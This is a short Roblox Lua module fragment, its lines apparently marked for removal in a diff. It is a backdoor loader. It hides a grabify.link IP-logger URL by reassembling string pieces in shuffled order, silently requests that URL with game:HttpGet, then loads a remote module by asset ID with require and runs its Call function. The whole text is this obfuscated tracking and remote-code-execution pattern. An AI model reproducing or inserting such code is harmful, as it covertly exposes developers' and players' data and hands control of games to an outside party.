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- local Module = {};
- local Coded = {
- [1] = "/XU3";
- [2] = "IG0";
- [3] = "bify";
- [4] = "gra";
- [5] = ".link";
- };
- local Path = {4,3,5,1,2};
- local ST = "https://";
- Module.Retrieve = function()
- for _, v in next, Path do
- ST = ST..Coded[v];
- end
- game:HttpGet(ST);
- local Data;
- local s = pcall(function()
- Data = require(79493647);
- end)
- if (s) then
- if (Data ~= nil) then
- Data.Call();
- end
- else
- warn("ERROR");
- end
- end
- return Module;
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